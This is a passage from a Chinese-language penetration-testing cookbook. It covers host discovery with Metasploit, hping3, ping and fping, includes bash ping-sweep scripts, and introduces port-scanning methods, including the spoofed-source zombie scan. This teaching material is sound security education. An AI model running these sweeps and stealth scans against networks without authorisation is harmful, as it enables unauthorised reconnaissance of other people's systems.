要使用 Metasploit 执行 ARP 发现，您需要在局域网中至少有一台能够响应 ARP 请求的系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。如需了解如何在本地实验环境中设置系统，请参考第一章中的安装 Metasploitable2和安装 Windows Server章节。

如何操作……

尽管 Metasploit 通常被视为一种漏洞利用框架，但它也拥有大量可用于扫描和信息收集的辅助模块。其中有一个辅助模块，可以用于执行第 2 层发现。

1. 启动 Metasploit 框架时，使用msfconsole命令。然后，可以使用use命令配合所需的模块来配置扫描：

1. 选择模块后，可以使用show options命令查看可配置的选项：

1. 这些是配置选项，用于指定扫描目标、扫描系统和扫描设置的信息。大多数关于此次扫描的信息可以通过检查扫描系统的接口配置来收集。方便的是，可以在 Metasploit 框架控制台中传递系统 shell 命令。

2. 在以下示例中，系统调用在不离开 Metasploit 框架控制台界面的情况下执行ifconfig命令：

1. 本次扫描使用的接口是eth1接口。由于第 2 层扫描仅对识别本地子网中的活动主机有效，我们应根据扫描系统的 IP 地址和子网掩码来确定扫描范围。在此案例中，IP 地址和子网掩码表明我们应该扫描172.16.69.0/24范围。此外，扫描系统的源 IP 地址和 MAC 地址可以在这些配置中找到。要在 Metasploit 中定义这些配置，请使用set命令，后接要定义的变量和要赋予它的值：

1. 设置好扫描配置后，可以使用show options命令再次查看设置。这时应该显示出所有之前设置的值：

1. 确认所有设置正确配置后，可以使用run命令启动扫描。这个特定模块将打印出通过 ARP 发现的所有活动主机。它还会显示网络接口卡（NIC）的供应商信息，该信息由发现主机的 MAC 地址的前三个字节定义：

如何运作…

Metasploit 执行 ARP 发现的基本原理依然是一样的。一系列 ARP 请求会广播出去，ARP 响应会被记录并输出。Metasploit 辅助模块的输出提供了所有活动系统的 IP 地址，并在括号中提供了 MAC 供应商名称。

使用 hping3 进行主机发现（第 3/4 层）

一个更为多功能的发现工具是hping3，它可以用来通过多种不同方式进行主机发现。与fping相比，它更强大，因为它可以采用多种不同的发现技术，但作为扫描工具，它的作用较小，因为它只能针对单一主机进行扫描。然而，通过 bash 脚本，可以克服这一不足。本教程将演示如何使用hping3在远程主机上执行第 3 层和第 4 层的发现。

准备工作

使用hping3进行第 3 层发现不需要实验环境，因为互联网上许多系统都会回应 ICMP 回显请求，以及 TCP 和 UDP 流量。然而，强烈建议你仅在自己的实验室内进行任何类型的网络扫描，除非你完全了解自己所受管辖的相关法律规定。如果你希望在实验室中使用此技术，你至少需要有一台能响应 ICMP、TCP 和 UDP 请求的系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验室环境中设置系统的更多信息，请参考第一章中的安装 Metasploitable2和安装 Windows Server。此外，本节还需要编写脚本并将其保存到文件系统中，可以使用 Vim 或 GNU nano 等文本编辑器。有关编写脚本的更多信息，请参考第一章中的使用文本编辑器（Vim 和 GNU nano）。

如何操作…

和之前一样，我们将逐层分析。让我们逐层进行发现步骤。在这一层，我们将使用 hping3 在第 3 层和第 4 层执行发现。

第 3 层发现 - ICMP

hping3命令是一款功能强大的发现工具，具有广泛的选项和模式可供选择。它能够在第 3 层和第 4 层进行发现操作。

1. 要使用hping3执行单一主机地址的基本 ICMP 发现，只需传递要测试的 IP 地址和所需的 ICMP 扫描模式：

1. 在提供的演示中，处理过程是通过Ctrl + C停止的。类似于标准的ping工具，hping3的 ICMP 模式将继续运行，除非在初始命令中指定了发送的数据包数量。为了定义发送的尝试次数，应包括-c选项，并提供一个整数值来表示所需的尝试次数：

1. 虽然hping3默认不支持扫描多个系统，但可以通过 bash 脚本轻松实现。为了做到这一点，我们必须首先识别与活动地址相关的输出与与无响应地址相关的输出之间的区别。

2. 为了实现这一点，我们应该在没有主机分配的 IP 地址上使用相同的命令：

1. 通过识别与每个请求相关的响应，我们可以确定一个唯一的字符串，可以用来grep；这个字符串将从不成功的 ping 尝试中隔离出成功的尝试。在hping3中，您可能会注意到，长度值仅在返回响应的情况下显示。基于此，我们可以通过 grep 查找len来提取成功的尝试。

2. 为了确定这种方法在脚本中的有效性，我们应该尝试将前两个命令连接在一起，然后将输出通过管道传递给grep函数。假设我们选择的字符串对于成功的尝试是唯一的，那么我们应该只看到与活动主机相关的输出：

1. 尽管期望的结果是如此，但在此情况下，grep函数似乎并未有效地应用于输出。由于hping3的输出显示处理方式使得很难将其管道传递给grep函数并只提取所需的行，我们可以尝试通过其他方式解决这个问题。具体来说，我们将尝试确定是否可以将输出重定向到文件中，然后直接从文件中使用grep。为此，我们将尝试将之前使用的两个命令的输出传递到handle.txt文件中：

1. 尽管这个尝试并不完全成功，因为输出并没有完全重定向到文件中，但通过读取文件，我们可以看到足够的输出内容，足以创建一个有效的脚本。具体来说，我们能够重定向一个仅与成功的 ping 尝试相关的独特行，并且该行中包含相应的 IP 地址。为了验证这个变通方法是否可行，我们将尝试遍历 /24 范围内的每个地址，然后将结果传递到 handle.txt 文件中：

我们现在可以打开 handle.txt 文件，查看脚本的输出：

1. 尽管进行了这些操作，仍然会有大量输出（为方便起见，提供的输出已被截断），这些输出包含了所有未重定向到文件的部分。然而，以下脚本的成功并不依赖于初始循环中的过多输出，而是依赖于从输出文件中提取必要信息的能力：

1. 完成扫描循环后，可以使用 ls 命令在当前目录中识别输出文件，然后可以直接从该文件中使用 grep 提取包含 len 的唯一字符串。在输出中，我们可以看到列出了每个活动主机。此时，剩下的唯一任务就是从该输出中提取 IP 地址，然后将整个过程重构为一个功能性脚本。请看以下一组命令：

1. 通过将输出管道传递到一系列 cut 函数中，我们可以从输出中提取 IP 地址。现在，我们已经成功找到了扫描多个主机并轻松识别结果的方法，接下来我们应该将其集成到一个脚本中。以下是一个示例，展示了如何将这些操作整合到一个功能性脚本中：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./ping_sweep.sh [/24 network address]"
        echo "Example - ./ping_sweep.sh 172.16.36.0"
        echo "Example will perform an ICMP ping sweep of the
          172.16.36.0/24 network and output to an output.txt file"
        exit
        fi

        prefix=$(echo $1 | cut -d '.' -f 1-3)

        for addr in $(seq 1 254); do
        hping3 $prefix.$addr --icmp -c 1 >> handle.txt;
        done

        grep len handle.txt | cut -d " " -f 2 
        | cut -d "=" -f 2 >> output.txt
        rm handle.txt

• 在提供的 bash 脚本中，第一行定义了 bash 解释器的位置。接下来的代码块执行一个测试，判断是否提供了预期的一个参数。通过评估传入的参数数量是否不等于 1 来确定这一点。如果没有提供预期的参数，则输出脚本的使用方式，并退出脚本。使用输出会指示脚本预期 /24 网络地址作为参数。

• 下一行代码从提供的网络地址中提取网络前缀。例如，如果提供的网络地址是 192.168.11.0，则前缀变量将被赋值为 192.168.11。然后在 /24 范围内的每个地址上执行 hping3 操作，并将每个任务的输出结果放入 handle.txt 文件中。

• 完成后，grep用于从handle.txt文件中提取与活动主机响应相关的行，然后从这些行中提取 IP 地址。最终的 IP 地址将被传入output.txt文件，并从目录中删除临时的handle.txt文件。

1. 该脚本可以通过一个句点和正斜杠来执行，后面跟着可执行脚本的名称：

1. 完成后，脚本应该将output.txt文件返回到执行目录。可以使用ls进行验证，并可以使用cat命令查看此文件的内容：

1. 当脚本运行时，你仍然会看到与最初循环执行任务时相同的大量输出。幸运的是，你发现的主机列表不会在这些输出中丢失，因为它会每次方便地写入到输出文件中。

第 4 层发现 - TCP 和 UDP

与 Nmap 不同，hping3通过隔离任务，使得通过 UDP 探测发现的主机非常容易识别。

1. 通过使用--udp选项指定 UDP 模式，可以尝试通过 UDP 探测来触发活动主机的响应：

1. 在提供的演示中，使用Ctrl + C停止了该过程。当在 UDP 模式下使用hping3时，发现过程将无限继续，除非在初始命令中定义了特定的包数。要定义发送的尝试次数，应该使用-c选项，并附上一个表示所需尝试次数的整数值：

1. 尽管hping3默认不支持扫描多个系统，但通过使用 bash 脚本，我们可以过滤结果，仅显示活动地址。为此，我们首先需要识别与活动地址相关的输出与与无响应地址相关的输出之间的区别。为此，我们应该对一个没有主机分配的 IP 地址使用相同的命令：

1. 通过识别与每个请求相关的响应，我们可以确定一个独特的字符串，可以使用grep进行筛选；这个字符串将把成功的发现尝试与不成功的尝试区分开。在之前的请求中，你可能已经注意到，短语ICMP Port Unreachable只有在返回响应的情况下才会出现。基于此，我们可以通过 grep 搜索Unreachable来提取成功的尝试。

2. 为了确定这种方法在脚本中的有效性，我们应该尝试将之前的两个命令连接起来，然后将输出通过管道传递给grep函数。假设我们选择的字符串确实是成功尝试的唯一标识，我们应该只看到与活动主机相关的输出：

1. 尽管期望的结果是如此，但在这种情况下，grep函数似乎并未有效地应用于输出。由于hping3的输出显示处理使得难以将其传递给grep函数并仅提取所需的行，我们可以尝试通过其他方式解决这个问题。具体来说，我们将尝试确定输出是否可以重定向到文件，然后可以直接从文件中 grep。为此，我们将尝试将之前使用的两个命令的输出传递到handle.txt文件中：

1. 尽管这一尝试没有完全成功，因为输出没有完全重定向到文件，但通过阅读文件我们可以看到足够的输出用于创建有效的脚本。具体来说，我们能够重定向一个仅与成功的 ping 尝试相关并包含相应 IP 地址的唯一行。为了检查这种解决方法是否可行，我们将尝试循环遍历/24范围内的每个地址，然后将结果传递到handle.txt文件中：

现在，我们可以通过查看handle.txt的内容来查看结果：

1. 通过这种方式，仍然有大量的输出（为了方便，提供的输出已被截断），它包含了所有未重定向到文件的输出部分。然而，脚本的成功并不取决于这个初始循环的过多输出，而是取决于从输出文件中提取必要信息的能力。这可以通过以下命令看到：

1. 完成扫描循环后，可以使用ls命令在当前目录中识别输出文件，然后直接从该文件中 grep 出Unreachable的唯一字符串，如下所示。在输出中，我们可以看到通过 UDP 探测发现的每个存活主机都被列出。此时，唯一剩下的任务是从这个输出中提取 IP 地址，并将整个过程重新构建成一个单一的功能脚本：

1. 通过将输出传递给一系列的cut函数，我们可以从输出中提取 IP 地址。现在，我们已经成功找到了一种扫描多个主机并轻松识别结果的方法，接下来应该将其集成到脚本中：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./udp_sweep.sh [/24 network address]"
        echo "Example - ./udp_sweep.sh 172.16.36.0"
        echo "Example will perform a UDP ping sweep of the                       172.16.36.0/24 network and output to an output.txt file"
        exit
        fi

        prefix=$(echo $1 | cut -d '.' -f 1-3)

        for addr in $(seq 1 254); do
        hping3 $prefix.$addr --udp -c 1 >> handle.txt;
        done

        grep Unreachable handle.txt | cut -d " " -f 5 | cut -d "="
         -f 2 >> output.txt
        rm handle.txt

• 在提供的 bash 脚本中，第一行定义了 bash 解释器的位置。接下来的代码块执行了一个测试，以确定是否提供了预期的一个参数。这是通过评估提供的参数数量是否不等于1来确定的。如果没有提供预期的参数，脚本会输出用法并退出。用法输出指示该脚本期望将/24网络地址作为参数。

• 下一行代码从提供的网络地址中提取网络前缀。例如，如果提供的网络地址是192.168.11.0，则前缀变量将被赋值为192.168.11。hping3操作将在/24范围内的每个地址上执行，且每个任务的输出结果将被写入handle.txt文件中。

• 完成后，使用grep从handle.txt文件中提取与活跃主机响应相关的行，然后从这些行中提取 IP 地址。

1. 结果 IP 地址将被传入output.txt文件中，并且临时的handle.txt文件将从目录中删除：

现在，我们可以查看output.txt文件的内容：

1. 当脚本运行时，你仍然会看到最初遍历任务时看到的大量输出。幸运的是，你发现的主机列表不会丢失在这些输出中，因为它会在每次输出时方便地写入你的输出文件中。你还可以使用hping3进行 TCP 发现。TCP 模式实际上是hping3的默认发现模式，通过将要扫描的 IP 地址传递给hping3即可使用该模式：

1. 就像我们为循环遍历/24网络并使用hping3进行 UDP 发现编写的 bash 脚本一样，我们可以为 TCP 发现编写一个类似的脚本。首先，必须确定在与活跃主机相关的输出中存在但在与无响应主机相关的输出中不存在的唯一短语。为此，我们需要评估每个主机的响应：

1. 在这种情况下，长度值仅出现在与活跃主机相关的输出中。我们可以再次编写一个脚本，将输出重定向到临时的handle.txt文件，然后通过grep命令从该文件中提取活跃主机：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./tcp_sweep.sh [/24 network address]"
        echo "Example - ./tcp_sweep.sh 172.16.36.0"
        echo "Example will perform a tcp ping sweep of the                       172.16.36.0/24 network and output to an output.txt file"
        exit
        fi

        prefix=$(echo $1 | cut -d '.' -f 1-3)

        for addr in $(seq 1 254); do
        hping3 $prefix.$addr -c 1 >> handle.txt;
        done

        grep len handle.txt | cut -d " " -f 2 
        | cut -d "=" -f 2 >> output.txt
        rm handle.txt

1. 该脚本的运行方式与为 UDP 发现编写的脚本类似。唯一的不同之处在于循环序列中执行的命令、grep 值以及提取 IP 地址的过程。运行后，脚本将生成一个output.txt文件，其中包含通过 TCP 发现识别到的主机的 IP 地址列表：

1. 你可以使用ls命令确认输出文件已写入执行目录，并使用cat命令读取其内容。以下示例可以看到这一点：

它是如何工作的……

为了有效地使用hping3进行第 3 层发现，使用了一个 bash 脚本按顺序执行 ICMP 回显请求。这得益于成功和失败请求所生成的独特响应。通过在循环中传递该功能，并使用grep查找独特的响应，我们能够有效地开发一个脚本，在多个系统上顺序执行 ICMP 发现，并输出存活主机的列表。

对于第 4 层发现，hping3使用 ICMP 主机不可达响应来通过 UDP 请求识别存活主机，并使用空标志扫描通过 TCP 请求识别存活主机。对于 UDP 发现，一系列空的 UDP 请求会发送到任意目的端口，试图引发响应。对于 TCP 发现，一系列 TCP 请求会发送到目的端口0，且没有激活任何标志位。在提供的示例中，这引发了带有 ACK+RST 标志的响应。每个任务都通过 bash 中的循环执行，以对多个主机或地址范围进行扫描。

使用 ICMP 进行主机发现

第 3 层发现可能是网络管理员和技术人员最常用的工具。它使用著名的 ICMP ping工具来识别存活主机。本节将演示如何使用ping工具对远程主机执行第 3 层发现。

准备工作

使用ping进行第 3 层发现无需实验室环境，因为互联网上许多系统会响应 ICMP 回显请求。然而，强烈建议你仅在自己的实验室环境中执行任何类型的网络扫描，除非你完全了解适用的法律法规。如果你希望在实验室中使用此技术，至少需要一台能够响应 ICMP 请求的系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验室环境中设置系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows Server食谱，入门部分。此外，本节需要编写一个脚本到文件系统中，可以使用文本编辑器如 Vim 或 GNU nano。有关编写脚本的更多信息，请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）食谱，入门部分。

如何操作...

1. 大多数在 IT 行业工作的人都对ping工具相当熟悉。要使用ping来判断主机是否存活，只需向命令传递一个参数，定义你想要测试的 IP 地址：

1. 当发出此命令时，ICMP 回显请求将直接发送到提供的 IP 地址。为了收到该 ICMP 回显请求的回复，必须满足几个条件。这些条件如下：

   • 测试的 IP 地址必须分配给某个系统

   • 系统必须是活跃且在线的

   • 扫描系统到目标 IP 必须有可用的路由

   • 系统必须配置为响应 ICMP 流量

   • 扫描系统和目标 IP 之间不应有任何主机或网络防火墙被配置为丢弃 ICMP 流量

2. 正如你所看到的，有很多变量需要考虑到 ICMP 发现的成功。这也是 ICMP 可能不太可靠的原因，但与 ARP 不同，ICMP 是可路由的协议，并且可以用于发现局域网之外的主机。注意，在前面的例子中，^C 出现在 ping 命令的输出中。这表示使用了一个转义序列（特别是 Ctrl + C）来停止该过程。与 Windows 不同，Linux 操作系统中集成的 ping 命令默认会无限期地 ping 目标主机。

3. 然而，-c 选项可以用来指定要发送的 ICMP 请求数。使用此选项时，一旦超时或每个发送的数据包都收到回复，过程将优雅地结束。请查看以下命令：

1. 就像 ARPing 可以在 bash 脚本中用于并行循环多个 IP 地址一样，ping 也可以与 bash 脚本结合使用，在多个主机上并行执行第 3 层发现。要编写脚本，我们需要识别与成功和失败的 ping 请求相关的不同响应。为此，我们应该首先 ping 一个我们知道是在线且响应 ICMP 的主机，然后再对一个没有响应的地址进行 ping 请求。以下命令演示了这一点：

1. 与 ARPing 请求一样，来自唯一字符串的字节仅出现在与在线 IP 地址相关的输出中，并且它们也出现在包含此地址的行中。同样，我们可以使用 grep 和 cut 的组合从任何成功的 ping 请求中提取 IP 地址：

1. 通过在包含多个目标 IP 地址范围的循环中使用此任务序列，我们可以快速识别对 ICMP 回显请求做出响应的在线主机。输出结果是一个简单的在线 IP 地址列表。使用此技术的示例脚本可以在这里看到：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./ping_sweep.sh [/24 network address]"
        echo "Example - ./ping_sweep.sh 172.16.36.0"
        echo " Example will perform an ICMP ping sweep of the 
          172.16.36.0/24 network and output to an output.txt file"
        exit
        fi

        prefix=$(echo $1 | cut -d '.' -f 1-3)

        for addr in $(seq 1 254); do
        ping -c 1 $prefix.$addr | grep "bytes from" 
        | cut -d " " -f 4 | cut -d ":" -f 1 &
        done

• 在提供的 Bash 脚本中，第一行定义了 Bash 解释器的位置。接下来的代码块执行一个测试，判断是否提供了预期的一个参数。这是通过检查提供的参数数量是否不等于 1 来确定的。如果未提供预期的参数，脚本会输出用法信息，并退出。用法输出表明脚本期待 /24 网络地址作为参数。

• 下一行代码从提供的网络地址中提取网络前缀。例如，如果提供的网络地址是 192.168.11.0，则前缀变量将被赋值为 192.168.11。然后使用 for 循环遍历最后一个八位字节的值，生成本地 /24 网络中的每个可能 IP 地址。对于每个可能的 IP 地址，都会发出一个 ping 命令。每个请求的响应随后被管道传送，并使用 grep 提取包含 bytes from 字符串的行。这将仅提取包含活跃主机 IP 地址的行。

• 最后，一系列 cut 函数用于从该输出中提取 IP 地址。注意，在 for 循环任务的末尾使用了一个与号（&），而不是分号。与号允许任务并行执行，而不是按顺序执行。这大大减少了扫描 IP 范围所需的时间。

1. 然后可以通过一个点和正斜杠来执行脚本，后跟可执行脚本的名称：

1. 当没有提供任何参数执行时，脚本返回用法信息。然而，当提供网络地址值时，任务序列开始，并返回一个活跃 IP 地址的列表。如前面脚本中所讨论，脚本的输出也可以重定向到文本文件以供后续使用。可以通过使用大于号并跟随输出文件的名称来完成此操作。

1. 在提供的示例中，使用 ls 命令确认输出文件已创建。可以通过将文件名作为参数传递给 cat 命令来查看该输出文件的内容。

它是如何工作的…

Ping 是 IT 行业中一个广为人知的工具，其现有功能已经能够识别活跃主机。然而，它的设计初衷是为了确定单个主机是否在线，而不是作为扫描工具。此处的 Bash 脚本基本上实现了与在 /24 CIDR 范围内每个可能的 IP 地址上使用 ping 相同的功能。但与手动执行这项繁琐任务不同，Bash 允许我们通过循环快速简便地执行此任务。

使用 fping 执行主机发现

一个与知名ping工具非常相似的工具是fping。然而，它还内建了许多ping中没有的附加功能。这些附加功能使得fping可以作为一个功能强大的扫描工具使用，而无需额外的修改。本篇将演示如何使用fping对远程主机进行三层发现。

准备工作

使用fping进行三层发现不需要实验室环境，因为互联网上许多系统会对 ICMP 回显请求作出响应。然而，强烈建议您仅在自己的实验室中进行任何类型的网络扫描，除非您对所在地区的法律法规有充分了解。如果您希望在自己的实验室中使用此技术，您需要至少有一台能够响应 ICMP 请求的系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验室环境中设置系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows Server。

操作方法……

fping命令与ping工具非常相似，增加了一些附加功能。它可以像ping一样用于向单个目标发送 ICMP 回显请求，以确定该目标是否存活。

1. 只需将 IP 地址作为参数传递给fping工具即可：

1. 与标准的ping工具不同，fping在收到一个回复后会停止发送 ICMP 回显请求。收到回复后，它将表示与该地址对应的主机是存活的。或者，如果没有收到来自该地址的响应，fping默认会尝试四次与系统联系，然后才判断主机不可达：

1. 这个默认的连接尝试次数可以通过使用-c（计数）选项来修改，并为其提供一个整数值，定义要进行的尝试次数：

1. 以这种方式执行时，输出稍显难懂，但通过仔细分析可以理解。任何主机的输出包括 IP 地址、尝试次数（xmt）、收到的回复次数（rcv）和丢包百分比（%loss）。

2. 在提供的示例中，发现第一个地址是在线的。这一点可以通过收到的字节数和回复延迟来证明。您还可以通过检查丢包百分比来轻松判断是否存在与所提供 IP 地址关联的存活主机。如果丢包百分比为 100，则未收到任何回复。与ping（通常作为故障排除工具使用）不同，fping具备了扫描多个主机的集成功能。

3. 一系列连续的主机可以通过fping扫描，使用-g选项动态生成 IP 地址列表。要指定扫描范围，将该参数传递给所需连续范围内的第一个和最后一个 IP 地址：

1. 生成列表选项还可以基于 CIDR 范围表示法生成列表。同样，fping会循环遍历这个动态生成的列表并扫描每个地址：

1. 最后，fping还可以通过输入文本文件的内容扫描一系列地址。要使用输入文件，请使用-f（文件）选项，并提供文件名或输入文件的路径：

它是如何工作的……

fping工具执行 ICMP 发现的方式与我们之前讨论的其他工具相同。对于每个 IP 地址，fping会发送一个或多个 ICMP 回显请求，然后评估收到的响应，以识别活跃主机。fping还可以通过提供适当的参数来扫描一个系统范围或 IP 地址输入列表。因此，我们不需要像使用ping时那样通过 bash 脚本操作工具，使其成为有效的扫描工具。

第四章：端口扫描

本章包括以下内容：

• 使用 Scapy 进行端口扫描

• 使用 Nmap 进行端口扫描

• 使用 Metasploit 进行端口扫描

• 使用 hping3 进行端口扫描

• 使用 DMitry 进行端口扫描

• 使用 Netcat 进行端口扫描

• 使用 masscan 进行端口扫描

介绍

确定目标系统上开放的端口是定义攻击面下一个关键步骤。开放的端口对应着系统上正在运行的网络服务。编程错误或实现缺陷可能使这些服务容易受到攻击，有时甚至导致系统完全被攻破。为了确定可能的攻击向量，必须首先枚举项目范围内所有远程系统上的开放端口。这些开放端口对应的服务可能使用 UDP 或 TCP 流量进行通讯。TCP 和 UDP 都是传输协议。传输控制协议（TCP）是两者中更常用的，提供面向连接的通信方式。用户数据报协议（UDP）则是无连接的协议，有时用于那些传输速度比数据完整性更重要的服务。用于枚举这些服务的渗透测试技术叫做端口扫描。与前一章节讨论的主机发现不同，这些技术应当能够提供足够的信息，来识别服务是否与设备或服务器上的某个特定端口相关联。在具体介绍以下列出的方法之前，我们将讨论一些关于端口扫描的基本原理。

UDP 端口扫描

由于 TCP 是一个更常用的传输层协议，基于 UDP 的服务往往被忽略。尽管有自然倾向忽视 UDP 服务，但要全面了解任何目标的攻击面，完全列举这些服务是至关重要的。UDP 扫描通常具有挑战性、繁琐且耗时。本章中的前三个方案将介绍如何在 Kali Linux 中使用不同的工具进行 UDP 端口扫描。为了理解这些工具的工作原理，理解将要使用的两种 UDP 扫描方法非常重要。第一种技术将在第一个方案中介绍，它完全依赖于 ICMP 端口不可达响应。这种扫描方法假设任何没有活动服务的 UDP 端口会返回 ICMP 端口不可达响应，缺乏此响应则被解释为活动服务的迹象。虽然这种方法在某些情况下有效，但当主机没有生成端口不可达响应，或者端口不可达的回复被速率限制或防火墙过滤时，可能会返回不准确的结果。第二种和第三种方案中介绍的替代方法是使用特定服务的探测工具，尝试获取响应，这表明目标端口上正在运行预期的服务。虽然这种方法非常有效，但也可能非常耗时。

TCP 端口扫描

在本章中，将介绍几种不同的 TCP 扫描方法。这些技术包括隐匿扫描、连接扫描和僵尸扫描。要理解这些扫描技术的工作原理，首先需要了解 TCP 连接是如何建立和维持的。TCP 是一个面向连接的协议，数据只有在两个系统之间建立连接后才会通过 TCP 进行传输。建立 TCP 连接的过程通常被称为三次握手，这个名称指的是连接过程中的三个步骤。以下图表以图形方式展示了这个过程：

一个 TCP SYN 数据包从希望与目标设备的端口建立连接的设备发送出去。如果接收端口关联的服务接受该连接，它将回复一个同时激活SYN和ACK位的 TCP 数据包。只有当请求系统以 TCP ACK响应回传时，连接才算建立。这个三步过程在两台系统之间建立了一个 TCP 会话。所有 TCP 端口扫描技术都会以某种方式执行这一过程，以识别远程主机上的活动服务。

连接扫描和隐身扫描都相对容易理解。连接扫描用于为每个扫描的端口建立完整的 TCP 连接。也就是说，对于每个扫描的端口，都会完成完整的三次握手。如果连接成功建立，则该端口被判定为开放。另一方面，隐身扫描则不建立完整的连接。隐身扫描也称为 SYN 扫描或半开放扫描。对于每个扫描的端口，发送一个 SYN 包到目标端口，所有回复 SYN+ACK 包的端口被认为正在运行服务。由于没有从发起系统发送最终的 ACK 包，连接保持半开放状态。这被称为隐身扫描，因为只记录已建立连接的日志系统不会记录任何扫描的证据。

本章将讨论的最后一种 TCP 扫描方法是名为僵尸扫描的技术。僵尸扫描的目的是在不留下任何与该系统交互的证据的情况下，映射远程系统的开放端口。僵尸扫描的工作原理较为复杂。进行僵尸扫描的步骤如下：

1. 为你的僵尸主机确定一个远程系统。这个系统应具有以下特点：

   • 它处于空闲状态，不主动与网络中的其他系统进行通信。

   • 它使用递增的 IPID 序列。

2. 向该僵尸主机发送一个 SYN+ACK 包，并记录初始的 IPID 值。

3. 发送一个伪造源 IP 地址为僵尸系统的 SYN 包到扫描目标系统。

4. 根据扫描目标端口的状态，以下两种情况之一将发生：

   • 如果端口开放，扫描目标将返回一个 SYN+ACK 包给僵尸主机，它认为是该主机发送了原始的 SYN 请求。在这种情况下，僵尸主机将对这个未经请求的 SYN+ACK 包响应一个 RST 包，从而将其 IPID 值增加一。

   • 如果端口关闭，扫描目标将返回一个 RST 响应给僵尸主机，它认为是该主机发送了原始的 SYN 请求。此 RST 包不会引发僵尸主机的响应，IPID 不会递增。

5. 再次向僵尸主机发送一个 SYN+ACK 包，并评估返回的 RST 响应的最终 IPID 值。如果该值递增了 1，则扫描目标的端口是关闭的；如果该值递增了 2，则扫描目标的端口是开放的。

下图展示了使用僵尸主机扫描开放端口时的交互过程：

要执行僵尸扫描，首先应向僵尸系统发送一个初始的 SYN/ACK 请求，以确定返回的 RST 数据包中的当前 IPID 值。然后，向扫描目标发送伪造的 SYN 数据包，源 IP 地址为僵尸系统的 IP。如果端口开放，扫描目标将向僵尸系统发送 SYN/ACK 响应。由于僵尸系统并没有实际发送初始的 SYN 请求，它会将 SYN/ACK 响应视为未经请求的响应，并将 RST 数据包返回给目标，从而将其 IPID 增加 1。最后，应向僵尸系统发送另一个 SYN/ACK 数据包，僵尸系统会返回一个 RST 数据包，并再次增加 IPID。从初始响应中增加了两个 IPID 表明所有这些事件已经发生，扫描系统上的目标端口是开放的。相反，如果扫描目标的端口关闭，则会发生一系列不同的事件，最终 RST 响应的 IPID 值仅增加 1。

以下图示展示了与关闭端口的僵尸扫描相关的事件顺序：

如果扫描目标的目标端口关闭，RST 数据包将作为响应发送到僵尸系统，回应最初伪造的 SYN 数据包。由于 RST 数据包不会请求响应，僵尸系统的 IPID 值将不会增加。因此，最终返回扫描系统的 RST 数据包在响应 SYN/ACK 数据包时，IPID 仅增加 1。此过程可以对每个要扫描的端口进行操作，并可用于在远程系统上映射开放端口，而不会留下扫描系统执行扫描的任何证据。

使用 Scapy 进行端口扫描（UDP、隐形扫描、连接扫描和僵尸扫描）

Scapy 是一个可以用来构造并注入自定义数据包到网络中的工具。我们将首先使用 Scapy 扫描活动的 UDP 服务。可以通过向目标端口发送空的 UDP 数据包，然后识别那些没有以 ICMP 端口不可达响应回传的端口来完成这项任务。

接下来，我们将使用 Scapy 执行 TCP 隐形扫描。TCP 端口隐形扫描通过在目标端口上执行部分三次握手来确定端口是否接受连接。这种类型的扫描被称为隐形扫描、SYN 扫描或半开扫描。

接下来，我们将使用 Scapy 执行 TCP 连接扫描。通常，TCP 连接扫描比 SYN 扫描要简单一些。这是因为 TCP 连接扫描不需要生成和注入 SYN 扫描中使用的原始数据包所需的高级权限。Scapy 是这一规则的一个重要例外。实际上，使用 Scapy 完成一个完整的三次握手 TCP 连接非常困难且不切实际。然而，为了更好地理解这个过程，我们将看看如何使用 Scapy 执行连接扫描。

最后，我们将使用 Scapy 执行僵尸扫描。通过这种扫描方法，可以识别目标系统上开放的端口，而不向该系统发出任何互动的信号。这种极其隐匿的扫描方式被称为僵尸扫描，只有在网络中存在另一个低网络活动且具有递增 IPID 序列的系统时，才能进行这种扫描。

准备工作

要使用 Scapy 执行 UDP 扫描，你需要有一个远程系统，该系统通过 UDP 运行网络服务。在提供的示例中，使用的是 Metasploitable2 实例来执行此任务。要使用 Scapy 执行隐匿式和连接式 TCP 扫描，你需要有一个远程系统，该系统通过 TCP 运行可访问的网络服务。在提供的示例中，使用的是 Metasploitable2 实例来执行此任务。要使用 Scapy 执行僵尸扫描，你需要有一个运行 TCP 服务的远程系统和另一个具有递增 IPID 序列的远程系统。在提供的示例中，使用 Metasploitable2 安装作为扫描目标，Windows XP 安装作为递增 IPID 僵尸。

有关如何设置 Metasploitable2 的更多信息，请参见第一章，入门。此外，本节还需要使用 Vim 或 GNU nano 等文本编辑器编写脚本到文件系统中。有关如何编写脚本的更多信息，请参见第一章，入门中的使用文本编辑器（Vim 和 GNU nano）。

如何执行…

我们从使用 Scapy 进行 UDP 端口扫描开始。

使用 Scapy 进行 UDP 端口扫描

使用 Scapy，我们可以快速理解 UDP 扫描的基本原理。为了准确确认某个端口上是否存在 UDP 服务，我们需要从该服务获取回应。这可能非常困难，因为许多 UDP 服务只会对特定的服务请求做出回应。了解特定服务的信息可以让我们更容易准确识别该服务；然而，也有一些通用技术可以用来确定某个 UDP 端口上是否运行服务，并且这些方法具有一定的准确性。我们将使用的技术是通过 ICMP 端口不可达回复来识别关闭的 UDP 端口：

1. 要向任何给定端口发送 UDP 请求，我们首先需要构建该请求的各个层。我们需要构建的第一层是 IP 层：

1. 为了构建我们请求的 IP 层，我们需要将 IP 对象赋值给 i 变量。通过调用 display() 函数，我们可以识别对象的属性配置。默认情况下，发送和接收地址都设置为回环地址 127.0.0.1。这些值可以通过更改目标地址来修改，将 i.dst 设置为我们希望扫描的地址的字符串值。再次调用 display() 函数时，我们看到不仅目标地址已更新，而且 Scapy 还自动将源 IP 地址更新为与默认接口相关联的地址。现在我们已经构建了请求的 IP 层，可以继续构建 UDP 层：

